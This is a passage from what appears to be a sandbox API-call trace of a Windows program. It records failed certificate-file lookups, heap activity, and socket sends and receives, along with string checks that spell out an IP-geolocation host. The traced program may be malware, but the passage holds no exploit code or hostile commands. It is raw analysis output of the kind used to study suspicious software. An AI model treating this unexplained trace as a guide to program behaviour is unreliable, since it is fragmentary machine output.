dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.074] GetLastError () returned 0x3 [0119.074] GetLastError () returned 0x3 [0119.074] SetLastError (dwErrCode=0x3) [0119.074] GetLastError () returned 0x3 [0119.075] SetLastError (dwErrCode=0x3) [0119.075] GetLastError () returned 0x3 [0119.075] SetLastError (dwErrCode=0x3) [0119.075] GetLastError () returned 0x3 [0119.075] SetLastError (dwErrCode=0x3) [0119.075] CreateFileA (lpFileName="/usr/local/ssl/cert.pem" (normalized: "c:\\usr\\local\\ssl\\cert.pem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f8f0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.075] GetLastError () returned 0x3 [0119.075] GetLastError () returned 0x3 [0119.075] SetLastError (dwErrCode=0x3) [0119.075] GetLastError () returned 0x3 [0119.075] SetLastError (dwErrCode=0x3) [0119.075] GetLastError () returned 0x3 [0119.076] SetLastError (dwErrCode=0x3) [0119.076] GetLastError () returned 0x3 [0119.076] GetCurrentThreadId () returned 0x9fc [0119.076] GetCurrentThreadId () returned 0x9fc [0119.076] GetCurrentThreadId () returned 0x9fc [0119.076] GetCurrentThreadId () returned 0x9fc [0119.076] GetCurrentThreadId () returned 0x9fc [0119.076] GetCurrentThreadId () returned 0x9fc [0119.076] GetCurrentThreadId () returned 0x9fc [0119.076] GetCurrentThreadId () returned 0x9fc [0119.076] GetCurrentThreadId () returned 0x9fc [0119.076] GetCurrentThreadId () returned 0x9fc [0119.076] GetCurrentThreadId () returned 0x9fc [0119.076] GetCurrentThreadId () returned 0x9fc [0119.076] GetCurrentThreadId () returned 0x9fc [0119.076] GetCurrentThreadId () returned 0x9fc [0119.076] GetCurrentThreadId () returned 0x9fc [0119.076] GetCurrentThreadId () returned 0x9fc [0119.076] GetCurrentThreadId () returned 0x9fc [0119.076] GetCurrentThreadId () returned 0x9fc [0119.076] GetCurrentThreadId () returned 0x9fc [0119.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x51) returned 0x2d4a0a0 [0119.076] GetCurrentThreadId () returned 0x9fc [0119.076] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetLastError () returned 0x3 [0119.077] SetLastError (dwErrCode=0x3) [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.077] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.078] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] GetCurrentThreadId () returned 0x9fc [0119.079] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35f28 [0119.079] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4abd8 [0119.080] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34be8 [0119.080] GetLastError () returned 0x3 [0119.080] SetLastError (dwErrCode=0x3) [0119.080] GetLastError () returned 0x3 [0119.080] SetLastError (dwErrCode=0x3) [0119.080] GetLastError () returned 0x3 [0119.080] SetLastError (dwErrCode=0x3) [0119.080] GetLastError () returned 0x3 [0119.080] SetLastError (dwErrCode=0x3) [0119.080] GetLastError () returned 0x3 [0119.080] SetLastError (dwErrCode=0x3) [0119.080] GetLastError () returned 0x3 [0119.080] SetLastError (dwErrCode=0x3) [0119.080] GetLastError () returned 0x3 [0119.080] SetLastError (dwErrCode=0x3) [0119.080] GetLastError () returned 0x3 [0119.081] SetLastError (dwErrCode=0x3) [0119.081] GetLastError () returned 0x3 [0119.081] SetLastError (dwErrCode=0x3) [0119.081] GetLastError () returned 0x3 [0119.081] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34f48, Size=0x20) returned 0x2d4a330 [0119.081] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a330, Size=0x40) returned 0x2d36488 [0119.081] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d36488, Size=0x80) returned 0x2d4ead8 [0119.081] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4ead8, Size=0x100) returned 0x2d59000 [0119.081] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d59000, Size=0x200) returned 0x2d37898 [0119.081] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aea0 | out: hHeap=0x2a0000) returned 1 [0119.081] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36128 [0119.081] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f48 [0119.081] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34f48, Size=0x200) returned 0x2d37aa0 [0119.081] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d37690 | out: hHeap=0x2a0000) returned 1 [0119.081] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fa8 | out: hHeap=0x2a0000) returned 1 [0119.081] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d37488 | out: hHeap=0x2a0000) returned 1 [0119.081] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35d88 | out: hHeap=0x2a0000) returned 1 [0119.081] setsockopt (s=0x12c, level=65535, optname=4102, optval="0u", optlen=4) returned 0 [0119.082] setsockopt (s=0x12c, level=65535, optname=4101, optval="0u", optlen=4) returned 0 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.083] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="/", cchCount1=1, lpString2="/", cchCount2=1) returned 2 [0119.083] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1dc) returned 0x2d48998 [0119.083] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x180) returned 0x2d24e80 [0119.083] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d25410 [0119.083] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a330 [0119.083] GetCurrentThreadId () returned 0x9fc [0119.083] GetCurrentThreadId () returned 0x9fc [0119.083] GetCurrentThreadId () returned 0x9fc [0119.083] GetCurrentThreadId () returned 0x9fc [0119.083] GetCurrentThreadId () returned 0x9fc [0119.083] GetCurrentThreadId () returned 0x9fc [0119.083] GetCurrentThreadId () returned 0x9fc [0119.083] GetCurrentThreadId () returned 0x9fc [0119.083] GetCurrentThreadId () returned 0x9fc [0119.083] GetCurrentThreadId () returned 0x9fc [0119.083] GetCurrentThreadId () returned 0x9fc [0119.083] GetCurrentThreadId () returned 0x9fc [0119.083] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x42c) returned 0x2d50ac0 [0119.083] GetCurrentThreadId () returned 0x9fc [0119.083] GetCurrentThreadId () returned 0x9fc [0119.083] GetCurrentThreadId () returned 0x9fc [0119.083] GetCurrentThreadId () returned 0x9fc [0119.083] GetCurrentThreadId () returned 0x9fc [0119.083] GetCurrentThreadId () returned 0x9fc [0119.083] GetCurrentThreadId () returned 0x9fc [0119.084] GetCurrentThreadId () returned 0x9fc [0119.084] GetCurrentThreadId () returned 0x9fc [0119.084] GetCurrentThreadId () returned 0x9fc [0119.084] GetCurrentThreadId () returned 0x9fc [0119.084] GetCurrentThreadId () returned 0x9fc [0119.084] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35d88 [0119.084] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f48 [0119.084] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d36488 [0119.084] GetCurrentThreadId () returned 0x9fc [0119.084] GetCurrentThreadId () returned 0x9fc [0119.084] GetCurrentThreadId () returned 0x9fc [0119.084] GetCurrentThreadId () returned 0x9fc [0119.084] GetCurrentThreadId () returned 0x9fc [0119.084] GetCurrentThreadId () returned 0x9fc [0119.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa90 | out: lpSystemTimeAsFileTime=0x18fa90*(dwLowDateTime=0x97e1c920, dwHighDateTime=0x1d60051)) [0119.085] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa28 | out: lpSystemTimeAsFileTime=0x18fa28*(dwLowDateTime=0x97e1c920, dwHighDateTime=0x1d60051)) [0119.085] WSASetLastError (iError=0) [0119.085] send (s=0x12c, buf=0x2d3b470*, len=329, flags=0) returned 329 [0119.085] WSASetLastError (iError=0) [0119.085] recv (in: s=0x12c, buf=0x2d518f8, len=7, flags=0 | out: buf=0x2d518f8*) returned 7 [0119.107] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d365a8 [0119.107] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa40 | out: lpSystemTimeAsFileTime=0x18fa40*(dwLowDateTime=0x97e68be0, dwHighDateTime=0x1d60051)) [0119.107] WSASetLastError (iError=0) [0119.107] recv (in: s=0x12c, buf=0x2d51902, len=61, flags=0 | out: buf=0x2d51902*) returned 61 [0119.107] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1) returned 0x2d4abc8 [0119.107] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35ba8 [0119.107] SetLastError (dwErrCode=0x0) [0119.107] WSASetLastError (iError=0) [0119.107] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.108] SetLastError (dwErrCode=0x0) [0119.108] WSASetLastError (iError=0) [0119.108] recv (in: s=0x12c, buf=0x2d51900, len=2201, flags=0 | out: buf=0x2d51900*) returned 2201 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd7c) returned 0x2d581f0 [0119.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d50ef8 | out: hHeap=0x2a0000) returned 1 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35fa8 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35a88 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x68) returned 0x2d58f78 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x34) returned 0x2d56380 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d357d0 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ab68 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360a8 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36068 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35980 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35bf0 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4abe8 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35b90 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d359b0 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e68 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36248 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35800 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35920 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35b48 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4aab8 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35bd8 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ab08 [0119.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35bc0 [0119.109] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d358f0, Size=0x20) returned 0x2d4a830 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36028 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d358f0 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35050 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350e0 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35ee8 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab28 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36088 [0119.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35bf0 | out: hHeap=0x2a0000) returned 1 [0119.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35980 | out: hHeap=0x2a0000) returned 1 [0119.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36068 | out: hHeap=0x2a0000) returned 1 [0119.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d360a8 | out: hHeap=0x2a0000) returned 1 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360a8 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36068 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35980 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35bf0 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x98) returned 0x2d48b80 [0119.109] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35980, Size=0x20) returned 0x2d4a628 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d363c8 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35980 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35de8 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d351d0 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e40 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35038 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35f88 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac48 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4acd8 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36408 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e28 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ff0 [0119.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35230 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d363a8 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab48 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac78 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36448 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350c8 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35218 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35098 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36368 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4acb8 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35188 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36388 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35068 [0119.110] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35980, Size=0x20) returned 0x2d4a290 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35980 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35248 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36328 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac18 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x11) returned 0x2d362e8 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36008 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35158 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34dc8 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e58 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36428 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aae8 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d361e8 [0119.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6f) returned 0x2d28e10 [0119.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4acd8 | out: hHeap=0x2a0000) returned 1 [0119.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35038 | out: hHeap=0x2a0000) returned 1 [0119.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac48 | out: hHeap=0x2a0000) returned 1 [0119.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35f88 | out: hHeap=0x2a0000) returned 1 [0119.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e40 | out: hHeap=0x2a0000) returned 1 [0119.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d351d0 | out: hHeap=0x2a0000) returned 1 [0119.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35de8 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac78 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35230 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab48 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363a8 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34ff0 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e28 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36408 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35188 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35098 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4acb8 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36368 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35218 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d350c8 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36448 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362e8 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35248 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac18 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36328 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35980 | 